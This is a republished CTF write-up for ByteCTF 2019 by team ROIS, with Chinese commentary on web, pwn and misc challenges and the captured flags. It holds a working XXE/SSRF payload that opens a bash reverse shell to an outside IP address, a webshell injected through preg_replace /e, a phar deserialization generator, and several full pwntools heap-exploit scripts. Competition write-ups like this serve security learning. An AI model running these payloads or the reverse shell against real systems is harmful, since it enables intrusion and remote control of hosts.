ByteCTF 2019 线上赛 Writeup By ROIS

2019-09-12 约 1412 字 预计阅读 7 分钟

声明:本文 【ByteCTF 2019 线上赛 Writeup By ROIS】 由作者 wywwzjj 于 2019-09-12 08:43:03 首发 先知社区 曾经 浏览数 325 次

感谢 wywwzjj 的辛苦付出!

Web

boring_code

<?php
function is_valid_url($url) {
    if (filter_var($url, FILTER_VALIDATE_URL)) {
        if (preg_match('/data:\/\//i', $url)) {
            return false;
        }
        return true;
    }
    return false;
}

if (isset($_POST['url'])){
    $url = $_POST['url'];
    if (is_valid_url($url)) {
        $r = parse_url($url);
        if (preg_match('/baidu\.com$/', $r['host'])) {
            $code = file_get_contents($url);
            if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
                if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                    echo 'bye~';
                } else {
                    eval($code);
                }
            }
        } else {
            echo "error: host not allowed";
        }
    } else {
        echo "error: invalid url";
    }
}else{
    highlight_file(__FILE__);
}
?>

第二层

data:// 被干掉了,只能换思路,尝试绕了一圈没啥进展,那就先绕第二层吧。

再看下题目,明确好目标,flag 在上一级目录的 index.php 里,即 ../index.php,能读文件就行了。

fuzz 一下,得到了不少函数,但能用的很少。还有一个 readfile 能用,简单思路如下:

readfile('../index.php')
=>  readfile(/var/www/html/index.php);
=>  chdir('..')  =>  readfile(end(scandir('.')));

第一个问题,'.' 从何来?一般直接用 ord() 构造,没错,这里也用这个。

那就可以随便玩了,再结合一下 time()
第二个问题,'..' 怎么来?

第三个问题chdir('..') 没地方放,它的返回值是布尔型,那就丢 time() 吧,虽然是 time(void),但也没影响 :)。

整理一下:

readfile(end(scandir(chr(time(chdir(next(scandir(chr(time())))))))));

有人可能会觉得打中的概率太小了,那就一秒发一次,最多 256 次啊 :)

第一层

正在一筹莫展的时候,叫队里师傅看了下,他随手丢了个链接出来。云屿师傅太强了!


rss

第一部分和 boring_code 一样,构造一个 baidu.com 的跳转,让其的返回是个 RSS。

https://www.baidu.com/link?url=YuO-oavRIu9aTgoWy7-XSHsMTg2MOcNOtBULc64oZ3OEPnAp-IJ8Y2ui2vzhSPiL

(不是我真的很想吐槽为啥跳到我的站能302,另外比较正常的做法不应该是注册一个aaaabaidu.com的域名吗喂)

尝试XXE读文件,确认可读,读到源码后确认是个裸得不能再裸的XXE转SSRF,直接打。

最终构造文件:
RSS:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/rss_in_order?rss_url=http://www.zsxsoft.com/rss222.php&order=id,1)%2Bsystem('bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F129.204.79.120%2F23458%200%3E%261%22')%2Bstrcmp(''" >
]>

rss222.php

<data>
    <channel>
        <item>
            <id>1</id>
            <link>/hoge</link>
        </item>
        <item>
            <id>2</id>
            <link>/foo</link>
        </item>
    </channel>
</data>

EzCMS

常见的反序列化点:

寻找有 open 方法的内置类,得到这两个:

SessionHandler
ZipArchive

session 没啥用,目光聚焦到 ZipArchive,看下文档发现有戏。

生成 phar

<?php
class File{
    public $filename;
    public $filepath;
    public $checker;

    function __construct() {
        $this->checker = new Profile();
    }
}

class Profile{

    public $username;
    public $password;
    public $admin;

    function __construct() {
        $this->admin = new ZipArchive;
        $this->username = '/var/www/html/sandbox/9931f06e1af1fd77c1e95e84443dd6f6/.htaccess';
        $this->password = ZIPARCHIVE::OVERWRITE;
    }
}

@unlink("test.phar");
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$o = new File();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

把 phar 传上去后,再按老套路弄下就 OK 了。

babyblog

edit.php

if($_SESSION['id'] == $row['userid']){
        $title = addslashes($_POST['title']);
        $content = addslashes($_POST['content']);
        $sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';");
        exit("<script>alert('Edited successfully.');location.href='index.php';</script>");
    }

$row['title'] 没有任何过滤,可以注入,拿到 vip 账号:wulax / 1。

发现题目本身是 PHP 5.3,又看到正则,估计考察点是 preg_replac e的 e 参数以及 %00 截断;发现disable_function 但已经被别人打fpm了,就跟别人后面直接 antsystem,就不自己打 fpm 了。

POST /replace.php HTTP/1.1
Host: 112.126.101.16:9999
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.5,ja;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=--------1922216787
Content-Length: 424
DNT: 1
Connection: close
Referer: http://112.126.101.16:9999/replace.php?id=685
Cookie: PHPSESSID=4jihl1fqnuugt8eqmoinpo1t47
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

----------1922216787
Content-Disposition: form-data; name="find"

bb%00/e
----------1922216787
Content-Disposition: form-data; name="replace"

eval($_POST['cc']);
----------1922216787
Content-Disposition: form-data; name="regex"

1
----------1922216787
Content-Disposition: form-data; name="id"

971
----------1922216787
Content-Disposition: form-data; name="cc"

var_dump(antsystem('/readflag'));
exit;
----------1922216787--

Pwn

ezarch

vm 结构

struct __attribute__((packed)) __attribute__((aligned(2))) Arch
{
    char *text;
    char *stack;
    int stack_size;
    int mem_size;
    unsigned int break[256];
    unsigned int regs[16];
    unsigned int _eip;
    unsigned int _esp;
    unsigned int _ebp;
    unsigned __int16 eflags;
};

每条指令长度为10

0               1               2               3               4               5               6
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    OpCode     |     Type      |                           Operand 1                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           Operand 2                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

or

0               1               2               3               4
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    OpCode     |     Type      |           Operand 1         ...
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
              ...               |           Operand 2         ...
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
              ...               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

OpCode:
    1 -> add
    2 -> sub
    3 -> mov
    4 -> xor
    5 -> or
    6 -> and
    7 -> shift left
    8 -> shift right
    9 -> push
    10 -> pop
    11 -> call
    12 -> ret

漏洞点:堆溢出,输入init_size比memory_size大就行

v8->memory = (__int64)v7;
            v9 = 0LL;
            puts("[*]Memory inited");
            printf("[*]Inited size>", argv);
            __isoc99_scanf((__int64)"%llu", (__int64)&init_sz);
            printf("[*]Input Memory Now (0x%llx)\n", init_sz);
            while ( v9 < init_sz )
            {
              v11 = (void *)(virtual_machine->memory + v9);
              if ( init_sz - v9 > 0xFFF )
              {
                v10 = read(0, v11, 0x1000uLL);
                if ( v10 <= 0 )
                  goto LABEL_26;
              }
              else
              {
                v10 = read(0, v11, init_sz - v9);
                if ( v10 <= 0 )
LABEL_26:
                  exit(1);
              }
              v9 += v10;
            }

和对stack的ebp检查有误

_eeip = vmachine->_eip;
  v2 = vmachine->size;
  if ( _eeip >= v2 || (unsigned int)vmachine->_esp >= vmachine->stack_size || v2 <= vmachine->_ebp )
    return 1LL;
from pwn import *

def exp(host, port=9999):
    if host:
        p = remote(host, port)
    else:
        p = process('./ezarch', env={'LD_PRELOAD':'./libc.so'})
        gdb.attach(p, '''
            c
        ''')
    sa = p.sendafter
    ru = p.recvuntil
    rl = p.recvline
    sla = p.sendlineafter
    def Mem(size, code, eip=0, esp=0, ebp=0):
        sla('>', 'M')
        sla('>', str(size))
        sla('>', str(len(code)))
        sa(')', code)
        sla('eip>', str(eip))
        sla('esp>', str(esp))
        sla('ebp>', str(ebp))
    # mov reg[0], stack[ebp]
    opcode = '\x03\x20' + p32(0) + p32(17)
    # sub reg[0], 0x20
    opcode+= '\x02\x10' + p32(0) + p32(0x20)
    # mov stack[ebp], reg[0]
    opcode+= '\x03\x02' + p32(17) + p32(0)
    # now stack pointer to stderr, let's get it
    opcode+= '\x0a\x00' + p32(1) + p32(0)
    opcode+= '\x0a\x00' + p32(2) + p32(0)
    Mem(0x1010, opcode, 0, 0, 0x1008)

    sla('>', 'R')
    ru('R1 --> 0x')
    low = rl(keepends=False)
    ru('R2 --> 0x')
    high = rl(keepends=False)
    libc.address = int(high+low, 16) - libc.sym['_IO_2_1_stderr_']
    info("libc @ "+hex(libc.address))
    Mem(0x60, 'B')
    Mem(0x1010, '\x00'*0x1010 + p64(0) + p64(0x71) + p64(libc.sym['__free_hook']-8))
    Mem(0x60, 'B')
    Mem(0x60, '/bin/sh\x00' + p64(libc.sym['system']))
    sla('>', 'M')
    sla('>', '1')
    p.interactive()

if __name__ == '__main__':
    elf = ELF('./ezarch', checksec=False)
    libc = ELF('./libc.so', checksec=False)
    exp(args['REMOTE'])

# bytectf{0ccf4027c269fcbd1d0a74ddd62ba90a}

mulnote

free的时候sleep了10秒,造成UAF

from pwn import *

def cmd(command):
    p.recvuntil(">")
    p.sendline(command)

def add(sz,content):
    cmd('C')
    p.recvuntil("size>")
    p.sendline(str(sz))
    p.recvuntil("note>")
    p.send(content)

def show():
    cmd('S')


def dele(idx):
    cmd('R')
    p.recvuntil("index>")
    p.sendline(str(idx))

def edit(idx,content):
    cmd('E')
    p.recvuntil("index>")
    p.sendline(str(idx))
    p.recvuntil("note>")
    p.send(content)


def main(host,port=9999):
    global p
    if host:
        p = remote(host,port)
    else:
        p = process("./mulnote")
        gdb.attach(p)
    add(0x68,"A")
    add(0x68,"A")
    add(0x100,"A")
    add(0x10,"A")   #3
    dele(0)
    dele(1)
    dele(2)
    add(0x68,"A")   #0
    show()
    p.recvuntil("1]:\n")
    heap = u64(p.recv(6).ljust(8,'\x00'))-0x41
    info("heap : " + hex(heap))
    p.recvuntil("2]:\n")
    libc.address = u64(p.recv(6).ljust(8,'\x00'))-0x3c4b78
    info("libc : " + hex(libc.address))
    add(0x68,"A")

    dele(4)
    dele(0)
    edit(0,p64(libc.symbols["__malloc_hook"]-0x23)[:6])
    add(0x68,"A")

    one_gadget = libc.address+0x4526a
    info("one_gadget : " + hex(one_gadget))
    add(0x68,"\x00"*0x13+p64(one_gadget))
    p.interactive()

if __name__ == "__main__":
    libc = ELF("./libc.so",checksec=False)
    # elf = ELF("./mheap",checksec=False)
    main(args['REMOTE'])

vip

vip函数中存在溢出,可以覆写sock_filter,将open("/dev/random", 0)的返回值改为ERRNO(0)即可进行后续利用

from pwn import *

def exploit(host, port=9999):
    if host:
        p = remote(host, port)
    else:
        p = process("./vip", env={"LD_PRELOAD":"./libc-2.27.so"})
        gdb.attach(p, '''
            # b *0x00000000004014EB
            c
        ''')
    sa = p.sendafter
    sla = p.sendlineafter
    def alloc(idx):
        sla('choice: ', '1')
        sla('Index: ', str(idx))
    def show(idx):
        sla('choice: ', '2')
        sla('Index: ', str(idx))
    def dele(idx):
        sla('choice: ', '3')
        sla('Index: ', str(idx))
    def edit(idx, size, cont):
        sla('choice: ', '4')
        sla('Index: ', str(idx))
        sla('Size: ', str(size))
        sa('Content: ', cont)
    def vip(name):
        sla('choice: ', '6')
        sa('name: ', name)
    vip('tr3e'*8 + "\x20\x00\x00\x00\x00\x00\x00\x00\x15\x00\x00\x03\x01\x01\x00\x00\x20\x00\x00\x00\x18\x00\x00\x00\x15\x00\x00\x01\x7e\x20\x40\x00\x06\x00\x00\x00\x00\x00\x05\x00\x06\x00\x00\x00\x00\x00\xff\x7f")
    for x in range(4):
        alloc(x)
    dele(1)
    edit(0, 0x68, 'A'*0x50 + p64(0) + p64(0x61) + p64(0x404100))
    alloc(1)
    alloc(0xF)
    edit(0xF, 8, p64(elf.got['free']))
    show(0)
    libc.address = u64(p.recvline(keepends=False).ljust(8, '\x00')) - libc.sym['free']
    info('libc @ '+hex(libc.address))
    edit(0xF, 0x10, p64(libc.sym['__free_hook']) + p64(libc.search('/bin/sh').next()))
    edit(0, 8, p64(libc.sym['system']))
    dele(1)
    p.interactive()

if __name__ == '__main__':
    elf = ELF('./vip')
    libc = ELF('./libc-2.27.so')
    exploit(args['REMOTE'])

# bytectf{2ab64f4ee279e5baf7ab7059b15e6d12}

mheap

程序定义了自己的分配规则,程序的chunk:

struct chunk{
    size_t size;
    void* next; //only used after free
    char buf[size];
}

漏洞点在

_int64 __fastcall read_n(char *buf, signed int len)
{
  __int64 result; // rax
  signed int v3; // [rsp+18h] [rbp-8h]
  int v4; // [rsp+1Ch] [rbp-4h]

  v3 = 0;
  do
  {
    result = (unsigned int)v3;
    if ( v3 >= len )
      break;
    v4 = read(0, &buf[v3], len - v3);
    if ( !v4 )
      exit(0);
    v3 += v4;
    result = (unsigned __int8)buf[v3 - 1];
  }
  while ( (_BYTE)result != 10 );
  return result;
}

当buf+len的地址比mmap的尾部还要大时,read返回-1,然后就可以向上读,伪造一个next指针即可

from pwn import *

def cmd(command):
    p.recvuntil("Your choice: ")
    p.sendline(str(command))

def add(idx,sz,content=''):
    cmd(1)
    p.recvuntil("Index: ")
    p.sendline(str(idx))
    p.recvuntil("Input size: ")
    p.sendline(str(sz))
    if content:
        p.recvuntil("Content: ")
        p.send(content)

def show(idx):
    cmd(2)
    p.recvuntil("Index: ")
    p.sendline(str(idx))

def dele(idx):
    cmd(3)
    p.recvuntil("Index: ")
    p.sendline(str(idx))

def edit(idx,content):
    cmd(4)
    p.recvuntil("Index: ")
    p.sendline(str(idx))
    p.send(content)


def main(host,port=9999):
    global p
    if host:
        p = remote(host,port)
    else:
        p = process("./mheap")
        gdb.attach(p,"b *0x000000000040159B")

    add(0,0xfb0,"A"*0x10+'\n')
    add(0,0x10,"A"*0x10)
    dele(0)
    add(1,0x60,p64(0x00000000004040d0)+'A'*0x2f+'\n')
    add(0,0x23330fc0-0x10,"A"*0x8+p64(elf.got["atoi"])*2+'\n')
    show(1)
    libc.address = u64(p.recv(6).ljust(8,'\x00'))-libc.symbols["atoi"]
    info("libc : " + hex(libc.address))
    edit(1,p64(libc.symbols["system"])+'\n')
    p.recvuntil("Your choice: ")
    p.sendline("/bin/sh\x00")

    p.interactive()

if __name__ == "__main__":
    libc = ELF("./libc-2.27.so",checksec=False)
    elf = ELF("./mheap",checksec=False)
    main(args['REMOTE'])

notefive

程序的 edit 功能存在 off_by_one,先overlap,然后一系列利用攻击到 stdout 泄露出libc,我选择的地方是_IO_stdout_21-0x51(1/16的概率) 的位置,那里有个 0xff。然后伪造stderr的vtable,最后触发 IO_flush_all_lockp
来 getshell。

from pwn import *

def cmd(command):
    p.recvuntil("choice>> ")
    p.sendline(str(command))

def add(idx,sz):
    cmd(1)
    p.recvuntil("idx: ")
    p.sendline(str(idx))
    p.recvuntil("size: ")
    p.sendline(str(sz))



def dele(idx):
    cmd(3)
    p.recvuntil("idx: ")
    p.sendline(str(idx))

def edit(idx,content):
    cmd(2)
    p.recvuntil("idx: ")
    p.sendline(str(idx))
    p.recvuntil("content: ")
    p.send(content)


def main(host,port=9999):
    global p
    if host:
        p = remote(host,port)
    else:
        p = process("./note_five")
        gdb.attach(p)
    add(0,0x98)
    add(1,0xa8)
    add(2,0x1e8)
    add(3,0xe8)

    dele(1)
    dele(0)
    dele(2)
    dele(3)

    #overlap
    add(0,0xe8)
    add(1,0xf8)
    add(2,0xf8)
    add(3,0x1f8)
    add(4,0xe8)
    dele(0)
    edit(1,"A"*0xf0+p64(0x1f0)+'\x00')
    dele(2)
    add(0,0xe8)

    # t = int(raw_input('guest: '))
    t = 8
    global_maxfast = (t << 12) | 0x7f8

    stdout = global_maxfast-0x11d8
    #unsortedbin attack
    edit(1,"\x00"*8+p16(global_maxfast-0x10)+'\n')
    add(2,0x1f8)
    edit(2,"A"*0x1f8+'\xf1')
    edit(0,"\x00"*0x98+p64(0xf1)+p16(stdout-0x51)+'\n')
    dele(0)
    dele(4)

    dele(3)
    add(3,0x2e8)
    edit(3,"A"*0x1f8+p64(0xf1)+'\xa0\n')
    dele(2)

    add(0,0xe8)
    add(2,0xe8)
    add(4,0xe8)
    #leak libc
    edit(4,'A'+"\x00"*0x40+p64(0xfbad1800)+p64(0)*3+'\x00\n')

    p.recv(0x40)

    libc.address = u64(p.recv(8))-0x3c5600
    info("libc : " + hex(libc.address))

    one_gadget = 0xf1147+libc.address

    payload = '\x00'+p64(libc.address+0x3c55e0)+p64(0)*3+p64(0x1)+p64(one_gadget)*2+p64(libc.address+0x3c5600-8)
    edit(4,payload+'\n')
    #trigger abort-->flush
    add(1,1000)
    p.interactive()

if __name__ == "__main__":
    libc = ELF("./libc.so",checksec=False)
    # elf = ELF("./mheap",checksec=False)
    main(args['REMOTE'])

Misc

Hello Bytectf

签到题:bytectf{Hello Bytectf}

jigsaw

拼图游戏

betgame

from pwn import *
p = remote("112.125.25.81",9999)

def exp(a,y=1):
    if y == 1:
        if a == "s":
            return "b"
        if a == "j":
            return "s"
        if a == "b":
            return "j"
    elif y == -1:
        if a == "s":
            return "j"
        if a == "b":
            return "s"
        if a == "j":
            return "b"
    else:
        return a
for i in range(30):
    p.recvuntil("I will use:")
    tmp = p.recvuntil("\n")[-2:-1]
    info(tmp)
    if i%3 == 0:
        p.sendline(exp(tmp,0))
    elif i%3 == 1:
        p.sendline(exp(tmp,-1))
    else:
        p.sendline(exp(tmp,1))

p.interactive()

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now